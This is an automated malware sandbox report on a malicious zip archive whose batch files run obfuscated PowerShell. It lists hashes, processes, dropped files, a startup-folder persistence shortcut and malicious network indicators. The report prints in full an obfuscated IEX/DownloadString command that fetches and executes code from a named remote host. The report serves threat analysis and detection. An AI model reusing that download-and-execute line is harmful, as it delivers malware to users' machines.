analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

MX021554d.zip

Full analysis: https://app.any.run/tasks/a3af23c0-b56e-4bd1-9879-cc1ac8807949
Verdict: Malicious activity
Analysis date: October 09, 2019, 19:45:11
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
autoit
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

D3D30DD4479D7BDC6B47B7E8186C48FE

SHA1:

44356AC2F8A643A3DF706629FD18A1D981E28190

SHA256:

861560526470E9158CB24951C3F0C0F24647FCE2DD6AB630BB00BC3E1593EF19

SSDEEP:

1536:1fESgLhu7TXN17PAX4hEQwNhjJkMnjn0ows4:1l2Y7TXDTZapjnt4

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Loads dropped or rewritten executable

      • SearchProtocolHost.exe (PID: 3968)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2372)
      • cmd.exe (PID: 2244)

    • Writes to a start menu file

      • powershell.exe (PID: 3108)

  • SUSPICIOUS

    • Drop AutoIt3 executable file

      • powershell.exe (PID: 3108)

    • Creates files in the user directory

      • powershell.exe (PID: 3108)
      • powershell.exe (PID: 3128)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 2372)
      • cmd.exe (PID: 2244)

    • Application launched itself

      • cmd.exe (PID: 2244)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3108)

  • INFO

    • Manual execution by user

      • NOTEPAD.EXE (PID: 1148)
      • update.exe (PID: 3256)
      • cmd.exe (PID: 2372)
      • cmd.exe (PID: 2244)
      • NOTEPAD.EXE (PID: 2952)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: -/hf49hf.bat
ZipUncompressedSize: 381
ZipCompressedSize: 262
ZipCRC: 0x21e75281
ZipModifyDate: 2019:10:08 17:38:07
ZipCompression: Deflated
ZipBitFlag: -
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
47
Monitored processes
12
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winrar.exe no specs notepad.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe cmd.exe no specs cmd.exe no specs powershell.exe notepad.exe no specs shutdown.exe no specs searchprotocolhost.exe no specs update.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2824"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\MX021554d.zip"C:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.60.0
2952"C:\Windows\System32\NOTEPAD.EXE" C:\Users\admin\Desktop\MX25345253.batC:\Windows\System32\NOTEPAD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2244cmd /c ""C:\Users\admin\Desktop\MX25345253.bat" "C:\Windows\system32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3064C:\Windows\system32\cmd.exe /S /D /c" echo ieX("Ie`X`(N`ew-oBJ`e`Ct N`et.`Web`ClIeNt`).DOwnlOa`d`StRIN`G('http://ampms.ddns.net/5mWq1/kk/1445785485')"); "C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3128WindowsPowerShell\v1.0\powershell.exe -nop -win 1 -C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2372cmd /c ""C:\Users\admin\Desktop\-\hf49hf.bat" "C:\Windows\system32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3028C:\Windows\system32\cmd.exe /S /D /c" echo ieX("Ie`X`(N`ew-oBJ`e`Ct N`et.`Web`ClIeNt`).DOwnlOa`d`StRIN`G('http://ampms.ddns.net/5mWq1/kk/1445785485')"); "C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
3108WindowsPowerShell\v1.0\powershell.exe -nop -win 1 -C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1148"C:\Windows\System32\NOTEPAD.EXE" C:\Users\admin\Desktop\-\hf49hf.batC:\Windows\System32\NOTEPAD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Notepad
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2604"C:\WINDOWS\system32\shutdown.exe" -r -t 200C:\WINDOWS\system32\shutdown.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Shutdown and Annotation Tool
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 518
Read events
1 376
Write events
0
Delete events
0

Modification events

No data
Executable files
7
Suspicious files
5
Text files
7
Unknown types
3

Dropped files

PID
Process
Filename
Type
2824WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2824.34390\-\hf49hf.bat —
MD5:—
SHA256:—
2824WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2824.34390\-\update.exe —
MD5:—
SHA256:—
2824WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DRa2824.34390\MX25345253.bat —
MD5:—
SHA256:—
3128powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7JQP4JRHNG2GJHN7H7YX.temp —
MD5:—
SHA256:—
3108powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\D3Q0E2BVQ42DUQVV8MF4.temp —
MD5:—
SHA256:—
3108powershell.exeC:\Users\Public\Java_swtakv3_\12.dll —
MD5:—
SHA256:—
3108powershell.exeC:\users\public\Java_swtakv3_\Java_swtakv3_.zipcompressed
MD5:5FA28B901F1D5A0E6664BD8C86ED589F
SHA256:656D96824F59CBC2AE6D96E0903A6B975135509D5616A0DA37763701331B32D9
3128powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF11c8ea.TMPbinary
MD5:C911F7DBBF8956A476A7162FD7A88B15
SHA256:2D59CFC009032C59A8A26237F4091BD155E115DA834FF623AF40BC693711AF85
3108powershell.exeC:\users\public\i.dattext
MD5:D3D8F4F2881530A844F1DDAEA898A8BA
SHA256:B63C3BAF2E5DDAA46E779785B180840329F6A93AB22F1A2C4651AE2CB882F5EB
3108powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Java_swtakv3_.lnklnk
MD5:0245AECA2B4556F0E4757B91231A81D3
SHA256:FA59B36233B37739591C5A1431EB116C2783C00605D85A1482E9B112CD473D66
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
3
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3108
powershell.exe
GET
200
212.237.31.132:80
http://ampms.ddns.net/5mWq1/kk/1445785485
IT
text
7.81 Kb
malicious
3108
powershell.exe
GET
200
212.237.31.132:80
http://212.237.31.132/0710/kk/md.zip
IT
compressed
11.4 Mb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3108
powershell.exe
212.237.31.132:80
ampms.ddns.net
Aruba S.p.A.
IT
malicious
3128
powershell.exe
212.237.31.132:80
ampms.ddns.net
Aruba S.p.A.
IT
malicious

DNS requests

Domain
IP
Reputation
ampms.ddns.net
  • 212.237.31.132
malicious
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

PID
Process
Class
Message
3108
powershell.exe
Potentially Bad Traffic
ET INFO Dotted Quad Host ZIP Request
3108
powershell.exe
A Network Trojan was detected
MALWARE [PTsecurity] Downloader.Banload
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
MX021554d.zip